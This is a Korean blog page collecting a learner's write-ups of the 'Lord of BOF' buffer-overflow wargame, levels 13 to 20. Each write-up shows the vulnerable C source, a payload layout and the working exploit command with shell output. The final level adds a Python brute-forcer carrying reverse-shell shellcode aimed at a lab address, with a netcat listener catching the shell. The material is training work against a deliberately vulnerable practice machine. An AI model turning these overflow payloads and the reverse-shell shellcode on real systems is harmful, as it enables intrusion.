'과거의 컴퓨터 공부/LOB(完)'에 해당하는 글 21건

반응형

Lord of BOF hacked by symnoisy.pdf


정리할거좀 정리하고 깔끔하게 만들려고 노력하긴했는데 페이지가 ㅎㄷㄷ


반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)level20.xavius  (0) 2014.09.02
(LOB)level19.nightmare  (0) 2014.08.27
(LOB)level18.succubus  (0) 2014.08.25
(LOB)level17.zombie_assassin  (0) 2014.08.25
(LOB)level16.assassin  (0) 2014.08.25
,
반응형

5일정도 걸렷네요 쓸데없는거 잘못건드리는바람에.. 

여튼 드디어 풀엇습니다 

[xavius@localhost xavius]$ cat death_knight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/


#include <stdio.h> 

#include <stdlib.h> 

#include <errno.h> 

#include <string.h> 

#include <sys/types.h> 

#include <netinet/in.h> 

#include <sys/socket.h> 

#include <sys/wait.h> 

#include <dumpcode.h>


main()

{

char buffer[40];


int server_fd, client_fd;  

struct sockaddr_in server_addr;   

struct sockaddr_in client_addr; 

int sin_size;


if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

perror("socket");

exit(1);

}


server_addr.sin_family = AF_INET;        

server_addr.sin_port = htons(6666);   

server_addr.sin_addr.s_addr = INADDR_ANY; 

bzero(&(server_addr.sin_zero), 8);   


if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

perror("bind");

exit(1);

}


if(listen(server_fd, 10) == -1){

perror("listen");

exit(1);

}

        

while(1) {  

sin_size = sizeof(struct sockaddr_in);

if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

perror("accept");

continue;

}

            

if (!fork()){ 

send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

send(client_fd, "You : ", 6, 0);

recv(client_fd, buffer, 256, 0);

close(client_fd);

break;

}

            

close(client_fd);  

while(waitpid(-1,NULL,WNOHANG) > 0);

}

close(server_fd);

}

소스를 보면 별로딱히 특별한건 보이지 않고, 포트를 6666으로 잡아주고 buf는 40으로 선언되어있는데 256의 buf 를 받기 때문에 BOF가 일어나는걸 확인할수 있습니다 .
우선 메타스플로잇을 기반으로 쉘코드를 만들어 주었습니다 .


하지만 REMOTE 문제이기 때문에 RETN에 들어가는 주소는 직접적으로 확인해줄 수 없으므로 RETN에 들어갈 buf의 주소를 브루트포싱해주는 소스를 만들고 ,쉘코드를 넣어줍니다 

root@symnoisy:~# cat pwnable.py
import socket

buf =  ""
buf += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0"
buf += "\xa8\x48\x94\x68\x02\x00\x12\x8b\x89\xe1\xb0\x66\x50"
buf += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73"
buf += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0"
buf += "\x0b\xcd\x80"

for i in range(255,0,-1):
    for j in range(1,256,10):
        sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM)

        sock.connect(('192.168.72.143',6666))
        payload="a"*44+chr(j)+chr(i)+"\xff\xbf"+"\x90"*(256-48-len(buf))+buf
        sock.send(payload)
        sock.close()

---------------------------------------------------------------------------------------------------

root@symnoisy:~# nc -lvp 4747
listening on [any] 4747 ...
192.168.72.143: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.72.148] from (UNKNOWN) [192.168.72.143] 1838
my-pass
euid = 520
got the life
id
uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight)

성공 [death_knight@localhost death_knight]$ cat dropped_item.txt 
 You're so great! This is a token to the next gate.

                   ,.
                 ,'  `.
               ,' _<>_ `.
             ,'.-'____`-.`.
           ,'_.-''    ``-._`.
         ,','      /\      `.`.
       ,' /.._  O /  \ O  _.,\ `.
     ,'/ /  \ ``-;.--.:-'' /  \ \`.
   ,' : :    \  /\`.,'/\  /    : : `.
  < <>| |   O >(< (  ) >)< O   | |<> >
   `. : :    /  \/,'`.\/  \    ; ; ,'
     `.\ \  /_..-:`--';-.._\  / /,'
       `. \`'   O \  / O   `'/ ,'
         `.`._     \/     _,','
           `..``-.____.-'',,'
             `.`-.____.-','
               `.  <>  ,'
                 `.  ,' 
                   `'

[death_knight@localhost death_knight]$ 

+) 드디어 LOB엔딩을 봣습니다 ...우선적으로 pdf 로 한개의 파일로 만들면서 복습한뒤에, 페도라성과 pwnable.kr로 진입할 생각입니다


반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

<LOB>完  (0) 2014.09.03
(LOB)level19.nightmare  (0) 2014.08.27
(LOB)level18.succubus  (0) 2014.08.25
(LOB)level17.zombie_assassin  (0) 2014.08.25
(LOB)level16.assassin  (0) 2014.08.25
,
반응형

[nightmare@localhost nightmare]$ cat xavius.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - xavius

        - arg

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


main()

{

char buffer[40];

char *ret_addr;


// overflow!

fgets(buffer, 256, stdin);

printf("%s\n", buffer);


if(*(buffer+47) == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


if(*(buffer+47) == '\x08')

        {

                printf("binary image retbayed you, too!!\n");

                exit(0);

        }


// check if the ret_addr is library function or not

memcpy(&ret_addr, buffer+44, 4);

while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function

{

if(*ret_addr == '\xc9'){ // leave

if(*(ret_addr+1) == '\xc3'){ // ret

printf("You cannot use library function!\n");

exit(0);

}

}

ret_addr++; 

}

        // stack destroyer

        memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));


// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}


소스를 보고 뭘 어떻게해야하지 생각했는데  fgets에 뭔가 있겟다 싶어서 strace로 syscall을 추적해보았다


<c.f) strace >

http://www.joinc.co.kr/modules/moniwiki/wiki.php/man/1/strace



[nightmare@localhost /tmp]$ strace ./xavius 

execve("./xavius", ["./xavius"], [/* 24 vars */]) = 0

brk(0)                                  = 0x8049a58

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000

open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)

open("/etc/ld.so.cache", O_RDONLY)      = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=12210, ...}) = 0

old_mmap(NULL, 12210, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000

close(3)                                = 0

open("/lib/libc.so.6", O_RDONLY)        = 3

fstat(3, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0

read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096

old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40018000

mprotect(0x40105000, 30812, PROT_NONE)  = 0

old_mmap(0x40105000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xec000) = 0x40105000

old_mmap(0x40109000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40109000

close(3)                                = 0

mprotect(0x40018000, 970752, PROT_READ|PROT_WRITE) = 0

mprotect(0x40018000, 970752, PROT_READ|PROT_EXEC) = 0

munmap(0x40015000, 12210)               = 0

personality(PER_LINUX)                  = 0

getpid()                                = 762

fstat64(0, 0xbffff964)                  = -1 ENOSYS (Function not implemented)

fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000

ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0

read(0, 

"\n", 1024)                     = 1

fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40016000

ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0

write(1, "\n", 1

)                       = 1

write(1, "\n", 1

)                       = 1

munmap(0x40016000, 4096)                = 0

_exit(-1073746168)                      = ?

[nightmare@localhost /tmp]$ 

0x40015000에서 뭔가하는걸 알수 있엇다  풀고나서 찾아보니까 fgets가 사용하는 특수 버퍼라 한다 .. 


[payload]

\x90 [10] | shellcode[24] | \x90[10 ] | RET(0x4001501) |

+)\x00이 들어가면 null 로 인식하기 때문에 NOP로 감싸주고 \x01로 넣어주었다 

[attack]

[nightmare@localhost nightmare]$ (python -c 'print "\x90"*10 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*10+"\x01\x50\x01\x40"';cat) | ./xavius

??????????1픐h//shh/bin??S??

                              것€??????????P@





my-pass

euid = 519

throw me away


성공


반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

<LOB>完  (0) 2014.09.03
(LOB)level20.xavius  (0) 2014.09.02
(LOB)level18.succubus  (0) 2014.08.25
(LOB)level17.zombie_assassin  (0) 2014.08.25
(LOB)level16.assassin  (0) 2014.08.25
,
반응형

상대적으로 금방풀었네요 

[succubus@localhost succubus]$ cat nightmare.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>


main(int argc, char *argv[])

{

char buffer[40];

char *addr;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// check address

addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


// dangerous waterfall

memset(buffer+40+8, 'A', 4);

}

소스에서 ret에 strcpy@plt 를 넣는거로 봐서 rtl로 접근해야겟다 생각했습니다 

[payload]

argv[1] 

buf40 |SFP | &strcpy@plt | dummy | dest(buf48) |source(argv[2])


argv[2] 

&system | &exit |&/bin/sh 

+)&system &exit  &/bin/sh &strcpy@plt 구하는건 누구나 다 할수 있으므로 생략


[attack]

[succubus@localhost succubus]$ ./nightmare `perl -e 'print "a"x44,"\x10\x84\x04\x08","AAAA","\xa0\xfa\xff\xbf","\x32\xfc\xff\xbf"'` `perl -e 'print "\xe0\x8a\x05\x40","\xe0\x91\x03\x40","\xf9\xbf\x0f\x40"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?AAAA????

bash$ my-pass

euid = 518

beg for me




&buffer +48 이랑 &argv[2] 구하는데 소스를 추가해서 구햇는데 한가지 의문이남는 부분이 있습니다 

---------------------------------------------------------------------------------------------------

ex1)

[succubus@localhost /tmp]$ cat nightmare.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>


main(int argc, char *argv[])

{

   char buffer[40];

   char *addr;


   if(argc < 2){

      printf("argv error\n");

      exit(0);

   }


   // check address

   addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

   printf("%s\n", buffer);


   // dangerous waterfall

   memset(buffer+40+8, 'A', 4);

   printf("buffer Using : %x\n",buffer);

   printf("argv[2] Using : %x\n",argv[2]);

}

[succubus@localhost /tmp]$ ./nightmare `perl -e 'print "\x90"x44,"\x10\x84\x04\x08","aaaa","bbbb","cccc"'` `perl -e 'print "\xe0\x8a\x05\x40","\xe0\x91\x03\x40","\xf9\xbf\x0f\x40"'`

?????????????????????????????????????????????aaaabbbbcccc

buffer Using : bffffa70

Segmentation fault (core dumped)

~> argv[2]가 씹힘
---------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------
ex2)
[succubus@localhost /tmp]$ cat nightmare.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
   char buffer[40];
   char *addr;

   if(argc < 2){
      printf("argv error\n");
      exit(0);
   }
   printf("argv[2] Using:%x\n",argv[2]);//여기다가 추가해봣음
   // check address
   addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
   printf("%s\n", buffer);

   // dangerous waterfall
   memset(buffer+40+8, 'A', 4);
   printf("buffer Using:%x\n",buffer);
   printf("argv[2] Using:%x\n",argv[2]);
}

[succubus@localhost /tmp]$ ./nightmare `perl -e 'print "\x90"x44,"\x10\x84\x04\x08","aaaa","bbbb","cccc"'` `perl -e 'print "\x90"x12'`
argv[2] Using:bffffc32
?????????????????????????????????????????????aaaabbbbcccc
buffer Using:bffffa70
Segmentation fault (core dumped)
~> 나옴 
---------------------------------------------------------------------------------------------------
+)strcpy부분 떄문에 argv[]를 뽑아오면서 영향을 주기 때문에, 소스 뒷부분에 argv[2] 주소를 뽑아주는 소스를  추가해주면 씹히게 됨 


반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)level20.xavius  (0) 2014.09.02
(LOB)level19.nightmare  (0) 2014.08.27
(LOB)level17.zombie_assassin  (0) 2014.08.25
(LOB)level16.assassin  (0) 2014.08.25
(LOB)level15.giant  (0) 2014.08.22
,
반응형

[zombie_assassin@localhost zombie_assassin]$ cat succubus.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - succubus

        - calling functions continuously 

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


// olleh!

system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

if(check != 1)

exit(0);


printf("welcome to the GYE!\n");

check = 2;

}


void DO(void)

{

printf("welcome to the DO!\n");

check = 1;

}


main(int argc, char *argv[])

{

char buffer[40];

char *addr;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// you cannot use library

if(strchr(argv[1], '\x40')){

printf("You cannot use library\n");

exit(0);

}


// check address

addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


        // stack destroyer

// 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}

소스가 굉장히 깁니다 .. 이번 문제는 어렵다 라기보다는 상대적으로 노가다성을 요구하는 문제엿습니다 

마찬가지로 라이브러리를 사용할수 없고, buf , buf +48+100 을 memset 해버립니다

자세한 내용은 생략하고, DO GYE GUL YUT MO 순서대로 지역변수를 콜해줘야 하는상황입니다( check 변수가 걸려있죠?)

따라서 함수 주소들을 구해주고 

(gdb) p DO

$1 = {<text variable, no debug info>} 0x80487ec <DO>

(gdb) p GYE

$2 = {<text variable, no debug info>} 0x80487bc <GYE>

(gdb) p GUL

$3 = {<text variable, no debug info>} 0x804878c <GUL>

(gdb) p YUT

$4 = {<text variable, no debug info>} 0x804875c <YUT>

(gdb) p MO

$5 = {<text variable, no debug info>} 0x8048724 <MO>

(gdb) 


[payload]

BUF|SFP |  &DO| &GYE|& GUL| &YUT |&MO |&AAAA |&/bin/sh| /bin/sh



[attack]

[zombie_assassin@localhost zombie_assassin]$ ./succubus $(python -c 'print "a"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"aaaa"+"\x98\xfa\xff\xbf/bin/sh"')

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?펶??\?$?aaaa???bin/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

bash$ my-pass

euid = 517

here to stay

bash$ 

성공 

반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)level19.nightmare  (0) 2014.08.27
(LOB)level18.succubus  (0) 2014.08.25
(LOB)level16.assassin  (0) 2014.08.25
(LOB)level15.giant  (0) 2014.08.22
(LOB)level14.bugbear  (0) 2014.08.20
,
반응형

장시간의 삽질의 끝에 드디어 풀엇습니다 

분명 페이로드 구성은 제대로 햇는데 자꾸 illegal instruction이 떠가지고 엄청 고생햇네요 ㅠㅠ  

[assassin@localhost assassin]$ cat zombie_assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


// strncpy instead of strcpy!

strncpy(buffer, argv[1], 48); 

printf("%s\n", buffer);

}

버퍼도 못쓰고 라이브러리도 못씁니다 

흰트에는  FEBP라고 써져있엇고, 찾아보니 fake ebp 라는 기법이네요 

fake ebp 란, leave(mov esp,ebp  | pop ebp)를 ret 에 덮어씌우는 기법입니다.

그림으로 설명하고 싶지만 생략하고, 에필로그의 leave가 수행되면 esp에 ebp가 넣어지고 스택에서 ebp가 뽑히게됩니다 

그다음 ret가 실행될때 pop eip 되니까 여기선 leave 주소를 넣어놧기 때문에 다시 leave로 돌아오게 되죠

그다음 leave (우리가 ret에 넣은)의 mov esp, ebp  | pop ebp를 수행하면서  명령어 leave 수행시 buf +4값이 esp로 옮겨지게 됩니다. 


 

[payload]

 AAAA | &system | BBBB| &/bin/sh |  \x90[24] | &buf | &leave


+)&buf 주소때매 개고생했는데 최종적으로 알아낸 방법은 소스를 추가하여 알아냄

+)&system, &/bin/sh, &leave 는 쉽게 구할수 있으므로생략 


[공격]

[assassin@localhost assassin]$ ./zombie_assassin "`perl -e 'print "AAAA","\xe0\x8a\x05\x40","BBBB","\xf9\xbf\x0f\x40","\x90"x24,"\x02\xfc\xff\xbf","\xdf\x84\x04\x08"'`"

AAAA?@BBBB廈@?????????????????????????욀?

bash$ my-pass

euid = 516

no place to hide

bash$ 

반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)level18.succubus  (0) 2014.08.25
(LOB)level17.zombie_assassin  (0) 2014.08.25
(LOB)level15.giant  (0) 2014.08.22
(LOB)level14.bugbear  (0) 2014.08.20
(LOB)level13.darkknight  (0) 2014.08.19
,
반응형

[giant@localhost giant]$ cat assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - assassin

        - no stack, no RTL

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer+sfp hunter

        memset(buffer, 0, 44);

}

이번 문제는 ret 부분에 \x40 이나 \xbf 가들어가면 커맨드가 씹히게 됩니다.

그말은 즉슨,, 버퍼사용 못한다는 말이고, 라이브러리를 사용하지 못한다는 거겟죠..

이번 문제에서 사용한 기법은 'ret sled' 입니다. 

ret sled 란 ret 부분(pop eip)에 ret 주소를 한번 더 넣어줌으로써,

eip가 pop 되기도 하지만,  esp도 4 늘어난다는 의미이기 때문에, 다음 명령을 가르키게 됩니다

따라서 다음부분부터는 RTL 처럼  &System | &exit | &/bin/sh | 을 넣어주게 된다면, 이번 문제는 풀리게 됩니다 . 

[giant@localhost giant]$ cp assassin /tmp/assassin

[giant@localhost giant]$ cd /tmp

[giant@localhost /tmp]$ gdb -q assassin 

(gdb) b main

Breakpoint 1 at 0x8048476

(gdb) r 

Starting program: /tmp/assassin 

Breakpoint 1, 0x8048476 in main ()

(gdb)   

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

(gdb) p exit

$2 = {void (int)} 0x400391e0 <exit>

(gdb) 

0x804851e <main+174>: ret 


[giant@localhost /tmp]$ ./sh

/bin/sh is at 0x400fbff9


[페이로드]

|NOP [44] | &RET | &system | &exit |&/bin/sh| 


공격


[giant@localhost giant]$ ./assassin $(perl -e 'print "\x90"x44,"\x1e\x85\x04\x08","\xe0\x8a\x05\x40","\xe0\x91\x03\x40","\xf9\xbf\x0f\x40"')

??????????????????????????????????????????????@?@廈@

bash$ my-pass

euid = 515

pushing me away

bash$ 

쉘이 따입니다 

반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)level17.zombie_assassin  (0) 2014.08.25
(LOB)level16.assassin  (0) 2014.08.25
(LOB)level14.bugbear  (0) 2014.08.20
(LOB)level13.darkknight  (0) 2014.08.19
(LOB)level12.golem  (0) 2014.08.19
,
반응형

소스를 보면

[bugbear@localhost bugbear]$ cat giant.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - giant

        - RTL2

*/


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(int argc, char *argv[])

{

char buffer[40];

FILE *fp;

char *lib_addr, *execve_offset, *execve_addr;

char *ret;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// gain address of execve

fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "(%x)", &lib_addr);

fclose(fp);


fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "%x", &execve_offset);

fclose(fp);


execve_addr = lib_addr + (int)execve_offset;

// end


memcpy(&ret, &(argv[1][44]), 4);

if(ret != execve_addr)

{

printf("You must use execve!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);

}

execv() 함수를 사용해야합니다


이 소스에 사용된 함수들의 프로토타입들은 각각 다음과 같습니다

<<execve() 프로토타입>>

#include 

int execve (const char *filename, char *const argv [], char *const envp[]); 


lename이 가리키는 파일을 실행한다. filename은 바이너리 실행 파일이거나 #! interpreter [arg]와 같은 라인으로 시작하는 스크립트 파일이어야 한다.

후자의 경우, interpreter는 interpreter [arg] filename와 같은 형태로 수행이 가능한 (스크립트가 아닌) 바이너리 실행 파일이어야 한다. 

argv는 새로이 실행할 프로그램에 전달하는 인수 문자열의 배열이다. 

envp는 보통 key=value과 같은 형태의 문자열 배열이며 환경 변수를 설정해놓은 것처럼 전달된다. 

argv와 envp는 모두 NULL 포인터로 끝나야만 한다. 실행할 프로그램을 int main(int argc, char *argv[], char *envp[])와 같이 정의하면 인수 문자열 배열과 환경 변수를 main () 함수에서 사용할 수 있게 된다.



<<popen() 프로토타입>>


#include <stdio.h>


FILE *popen(const char *command, const char *type);

int pclose();


popen 은 command 를 shell(:12)을 가동시켜서 열고 pipe(2)로 연결한다. 


pipe 는 기본적으로 단방향으로만 정의 되어 있음으로, 읽기전용 혹은 쓰기전용 으로만 열수 있으며, type 로 정의된다. 


popen 은 command 를 실행시키고 pip 연결을 위해서 내부적으로 fork() 와 pipe() 를 사용한다.


command 는 실행쉘인 /bin/sh 에 -c 옵션을 사용하여서 전달되게 된다.


pclose(2) 함수는 종료되는 관련 프로세스를 기다리며 wait(2) 가 반환하는 것처럼 명령어의 종료 상태를 반환한다.


>popen 함수는 메모리 할당이 실패한다면, errno 를 설정하지 않는다. fork()나 pipe()에서 실패했을경우 적당한 errno 를 설정한다.


pclose()는 자식의 상태를 얻을수 없을경우 errno 를 ECHILD 로 설정한다.




<<sscanf()  프로토 타입>>

#include <stdio.h> // C++ 에서는 <cstdio>


int sscanf ( const char * str, const char * format, ...);


str 에서 데이터를 형식 문자열(format)에서 지정하는 바에 따라 읽어와 그 데이터를 뒤에 부수적인 인자들이 가리키는 메모리 공간에 저장하게 된다.


 이 때, 데이터가 저장되는 방식 역시 형식 문자열에 의해 결정된다


&system, &execve, &exit 을 각각 구해주고 


[bugbear@localhost bugbear]$ cp giant /tmp/giant 

[bugbear@localhost bugbear]$ cd /tmp

[bugbear@localhost /tmp]$ gdb -q giant 

(gdb) b main 

Breakpoint 1 at 0x8048566

(gdb) r

Starting program: /tmp/giant 

(gdb) p exit

$1 = {void (int)} 0x400391e0 <exit>

(gdb) p system

$2 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

(gdb) p execve

$3 = {<text variable, no debug info>} 0x400a9d48 <__execve>


그리고 나서 &/bin/sh 을 구해줍니다 


#include <stdio.h>


#include <memory.h>


int main(void)


{


        long shell;


        shell = 0x40058ae0;


        while( memcmp( (void *)shell, "/bin/sh", 8) )


                shell++;


        printf("%s is at %p\n", shell, shell);


        return 0;


}

[bugbear@localhost /tmp]$ gcc -o s s.c

[bugbear@localhost /tmp]$ ./s

/bin/sh is at 0x400fbff9

execve에서 필요한건 이제 널주소와 /bin/sh이 들어간 부분의 주소입니다 이부분을 찾아주는데서

조금 애를 먹엇습니다 


+)

[bugbear@localhost bugbear]$ ldd /home/bugbear/giant | grep libc | awk '{print $4}'

(0x40018000)


[bugbear@localhost bugbear]$ /usr/bin/nm /lib/libc.so.6|grep execve

000f4860 ? __evoke_link_warning_fexecve

00091d48 t __execve

00091d48 W execve

00091da0 T fexecve


sum : 400a9d48

~>똑같음

~> 디버깅해서 나오는 execve주소와  소스에서 나오는 대로 두인자를 구해서 더해보면 서로 같다라는것을 알수 있습니다  (라이브러리주소는 모두 같기 때문이죠) 



중간 정리를 해보면 ,


[페이로드]

/bin/sh 심볼릭링크 | NOP 44 |  &execve() | &exit() | &/bin/sh |&/bin/sh의 포인터|&NULL 


$3 = {<text variable, no debug info>} 0x400a9d48 <__execve>

$1 = {void (int)} 0x400391e0 <exit>

&/bin/sh :  0x400fbff9

&NULL : 0xbffffffc (스택의 끝부분엔 항상 널이들어가게되서 그부분에서 따왓습니다) 


이제 &/bin/sh의 포인터 하나만 더구해주면 됩니다.

execve에서 필요한게 /bin/sh의 포인터주소이기 때문에, 이를 구해주기 위해서  argv[0] 부분에 &/bin/sh을 심

볼릭링크 걸어주고 디버깅하여 구합니다 

(gdb) x/10s 0xbfffffe0

0xbfffffe0: "bear/bin"

0xbfffffe9: "/home/bugbear/ù¿\017@"

0xbffffffc: ""

0xbffffffd: ""

0xbffffffe: ""

0xbfffffff: ""

0xc0000000: <Address 0xc0000000 out of bounds>

0xc0000000: <Address 0xc0000000 out of bounds>

0xc0000000: <Address 0xc0000000 out of bounds>

0xc0000000: <Address 0xc0000000 out of bounds>

굵은 부분으로 표시한부분으로 나오긴햇습니다만 이부분이 절대경로 라서 사용을 할수가없습니다

따라서 다시계산해줍니다

(gdb) print/x 0xbfffffe9+strlen("/home/bugbear/")

$1 = 0xbffffff7

이제 다 구햇네요 페이로드를 재작성해보면 


[페이로드]

/bin/sh 심볼릭링크 | NOP 44 |  &execve() | &exit() | &/bin/sh |&/bin/sh의 포인터|&NULL 


$3 = {<text variable, no debug info>} 0x400a9d48 <__execve>

$1 = {void (int)} 0x400391e0 <exit>

&/bin/sh :  0x400fbff9

&/bin/sh의 포인터 : $1 = 0xbffffff7

&NULL : 0xbffffffc (스택의 끝부분엔 항상 널이들어가게되서 그부분에서 따왓습니다) 


심볼릭링크를 giant 에 다시 걸어주고 공격하면, 
[bugbear@localhost bugbear]$ ln -fs giant `perl -e 'print "\xf9\xbf\x0f\x40"'`

[bugbear@localhost bugbear]$ `python -c 'print "./"+"\xf9\xbf\x0f\x40"'` "`perl -e 'print "\x90"x44,"\x48\x9d\x0a\x40","\xe0\x91\x03\x40","\xf9\xbf\x0f\x40","\xf7\xff\xff\xbf","\xfc\xff\xff\xbf"'`"

H

@à‘@ù¿@÷ÿÿ¿üÿÿ¿

bash$ my-pass

euid = 514

one step closer

bash$ 

쉘이 따엿습니다 

+) 커맨드 파이썬으로 바꾸겟다고 맘먹고도 자꾸 펄써가지고 ㅡㅡ ;미치겟네요 언젠간 완벽하게 바뀌겟지요.. 

반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)level16.assassin  (0) 2014.08.25
(LOB)level15.giant  (0) 2014.08.22
(LOB)level13.darkknight  (0) 2014.08.19
(LOB)level12.golem  (0) 2014.08.19
(LOB)Level11.skeleton  (0) 2014.08.16
,
반응형

RTL을 미리 공부해둔 상태여서 3분만에 풀엇습니다 ㅋㅋ

소스부터 보면

[darkknight@localhost darkknight]$ cat bugbear.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - bugbear

        - RTL1

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


